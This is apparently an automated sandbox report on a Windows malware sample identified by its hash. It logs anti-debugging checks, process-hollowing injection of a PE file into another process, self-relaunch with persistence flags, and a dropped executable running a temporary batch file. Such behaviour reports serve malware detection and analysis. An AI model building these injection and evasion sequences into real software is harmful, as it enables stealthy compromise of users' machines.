Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\	Jump to behavior

Source: lvAVrO.exe, 0000000F.00000003.1493269721.0000000000B6C000.00000004.00000020.00020000.00000000.sdmp, lvAVrO.exe, 0000000F.00000002.1657818388.0000000000B6A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@W
Source: lvAVrO.exe, 00000002.00000003.1365640575.0000000000DFD000.00000004.00000020.00020000.00000000.sdmp, lvAVrO.exe, 00000002.00000003.1365397577.0000000000DC8000.00000004.00000020.00020000.00000000.sdmp, lvAVrO.exe, 00000002.00000002.1435881124.0000000000DAE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: lvAVrO.exe, 00000002.00000003.1365397577.0000000000DC8000.00000004.00000020.00020000.00000000.sdmp, lvAVrO.exe, 00000002.00000002.1435881124.0000000000DAE000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000004.00000002.1331878215.0000000000723000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2536137038.00000000006D1000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2536137038.0000000000741000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000009.00000002.2536135899.0000000000709000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000009.00000002.2536135899.0000000000678000.00000004.00000020.00020000.00000000.sdmp, lvAVrO.exe, 0000000F.00000002.1657818388.0000000000B9D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000009.00000002.2536135899.00000000006B7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBnBi
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000004.00000002.1331878215.00000000006C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	API call chain: ExitProcess graph end node			graph_2-1022
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	API call chain: ExitProcess graph end node			graph_4-42952

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Code function: 0_2_021DA71C rdtsc

0_2_021DA71C

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Code function: 0_2_00414CA0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_00414CA0

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Code function: 0_2_004159B0 _memset,_memset,_memset,_memset,InterlockedIncrement,__itow_s,__invoke_watson_if_error,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,__errno,__errno,__strftime_l,__errno,__invoke_watson_if_oneof,__errno,_wcscpy_s,__invoke_watson_if_error,_wcscpy_s,__invoke_watson_if_error,_wcscat_s,__invoke_watson_if_error,_wcscat_s,__invoke_watson_if_error,_wcscat_s,__invoke_watson_if_error,__errno,__errno,__snwprintf_s,__errno,__invoke_watson_if_oneof,__errno,_wcscpy_s,__invoke_watson_if_error,_wcscpy_s,__invoke_watson_if_error,__cftoe,__invoke_watson_if_oneof,_wcscpy_s,__invoke_watson_if_error,__lock,GetFileType,_wcslen,WriteConsoleW,GetLastError,__cftoe,__invoke_watson_if_oneof,_wcslen,WriteFile,WriteFile,OutputDebugStringW,__itow_s,__invoke_watson_if_error,___crtMessageWindowW,

0_2_004159B0

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

0_2_00416AE0

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_004ED044 mov eax, dword ptr fs:[00000030h]	0_2_004ED044
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_021D9000 push dword ptr fs:[00000030h]	0_2_021D9000
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_021D90A3 push dword ptr fs:[00000030h]	0_2_021D90A3
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_02270042 push dword ptr fs:[00000030h]	0_2_02270042
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 6_2_022040A3 push dword ptr fs:[00000030h]	6_2_022040A3
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 6_2_022A0042 push dword ptr fs:[00000030h]	6_2_022A0042
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 7_2_021A40A3 push dword ptr fs:[00000030h]	7_2_021A40A3
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 7_2_02260042 push dword ptr fs:[00000030h]	7_2_02260042

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Code function: 4_2_004278D5 GetProcessHeap,

4_2_004278D5

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_00414CA0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00414CA0
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_00411170 SetUnhandledExceptionFilter,	0_2_00411170
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_00418240 __NMSG_WRITE,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00418240
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_004102E0 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_004102E0
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_004329EC SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_004329EC
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_004329BB SetUnhandledExceptionFilter,	4_2_004329BB

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Code function: 0_2_02270110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,

0_2_02270110

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Memory written: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Memory written: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Memory written: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Memory written: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe base: 400000 value starts with: 4D5A

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Code function: 4_2_00419F90 GetCurrentProcess,GetLastError,GetLastError,SetPriorityClass,GetLastError,GetModuleFileNameW,PathRemoveFileSpecW,GetCommandLineW,CommandLineToArgvW,lstrcpyW,lstrcmpW,lstrcmpW,lstrcpyW,lstrcpyW,lstrcmpW,lstrcmpW,GlobalFree,lstrcpyW,lstrcpyW,OpenProcess,WaitForSingleObject,CloseHandle,Sleep,GlobalFree,GetCurrentProcess,GetExitCodeProcess,TerminateProcess,CloseHandle,lstrcatW,GetVersion,lstrcpyW,lstrcatW,lstrcatW,_memset,ShellExecuteExW,CreateThread,lstrlenA,lstrcatW,_malloc,lstrcatW,_memset,lstrcatW,MultiByteToWideChar,lstrcatW,lstrlenW,CreateThread,WaitForSingleObject,CreateMutexA,CreateMutexA,lstrlenA,lstrcpyA,_memmove,_memmove,_memmove,GetUserNameW,GetMessageW,GetMessageW,DispatchMessageW,TranslateMessage,TranslateMessage,DispatchMessageW,GetMessageW,PostThreadMessageW,PeekMessageW,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,CloseHandle,

4_2_00419F90

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Process created: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe "C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe"	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Process created: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe "C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Process created: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe "C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Process created: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe --Task	Jump to behavior
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Process created: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe "C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe" --AutoStart
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\74ef2ae8.bat" "

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Code function: 0_2_022980F6 cpuid

0_2_022980F6

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: GetLocaleInfoA,	0_2_0041E880
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: __wremove,_putc,__wrename,BuildCommDCBAndTimeoutsW,GetNumberFormatA,GetBinaryTypeW,GetConsoleAliasExesA,GetBinaryTypeW,GetConsoleAliasExesA,BuildCommDCBAndTimeoutsW,GetNumberFormatA,WriteConsoleOutputCharacterA,FindNextVolumeMountPointA,FillConsoleOutputCharacterW,GetNamedPipeHandleStateA,SetProcessShutdownParameters,GetConsoleAliasesLengthW,GetFileSizeEx,OpenFileMappingW,OpenWaitableTimerW,SetFileApisToANSI,CharToOemBuffW,GetLastError,CharToOemBuffW,GetLastError,EnumSystemLocalesA,GetSystemTimeAdjustment,MoveFileWithProgressW,GetCommState,EnumSystemLocalesA,GetSystemTimeAdjustment,DebugBreak,MoveFileWithProgressW,GetCommState,CreateMailslotW,WriteConsoleInputA,GetConsoleAliasExesLengthW,SetComputerNameA,GlobalGetAtomNameW,AllocConsole,CreateIoCompletionPort,GetConsoleCP,FreeEnvironmentStringsA,LockFile,SetProcessPriorityBoost,SetProcessPriorityBoost,ConvertFiberToThread,DeleteCriticalSection,FreeEnvironmentStringsA,ConvertFiberToThread,DeleteCriticalSection,GetThreadContext,OpenMutexW,GetThreadContext,OpenMutexW,WriteConsoleW,DebugBreak,LoadLibraryA,lstrlenA,EnumResourceTypesW,SetEvent,OutputDebugStringW,ReadConsoleInputW,GetPrivateProfileIntW,CreateActCtxA,GetPrivateProfileStringW,GetOEMCP,CopyFileA,InterlockedExchangeAdd,WaitForDebugEvent,SetConsoleScreenBufferSize,GetConsoleAliasExesLengthA,GetModuleFileNameA,FreeLibraryAndExitThread,	0_2_00409610
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	0_2_022B0AB6
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,__invoke_watson,	0_2_0229C8B7
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	0_2_022A394D
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	0_2_022A49EA
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	0_2_022A3F87
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	4_2_0043404A
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: _LcidFromHexString,GetLocaleInfoW,_TestDefaultLanguage,	4_2_00438178
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	4_2_00440116
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	4_2_004382A2
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,	4_2_0043834F
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: _memset,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,___crtDownlevelLCIDToLocaleName,___crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,__itow_s,	4_2_00438423
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: EnumSystemLocalesW,	4_2_004387C8
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: GetLocaleInfoW,	4_2_0043884E
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,_free,_free,	4_2_00432B6D
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	4_2_00432FAD
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	4_2_004335E7
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: _TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromDefault,IsValidCodePage,_wcschr,_wcschr,__itow_s,_LcidFromHexString,GetLocaleInfoW,	4_2_00437BB3
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: EnumSystemLocalesW,	4_2_00437E27
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	4_2_00437E83
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	4_2_00437F00
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,	4_2_0042BF17
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: _LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,__wcsnicmp,GetLocaleInfoW,_TestDefaultLanguage,	4_2_00437F83
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	6_2_022E0AB6
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,__invoke_watson,	6_2_022CC8B7
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	6_2_022D394D
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	6_2_022D49EA
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	6_2_022D3F87
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	7_2_022A0AB6
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,__invoke_watson,	7_2_0228C8B7
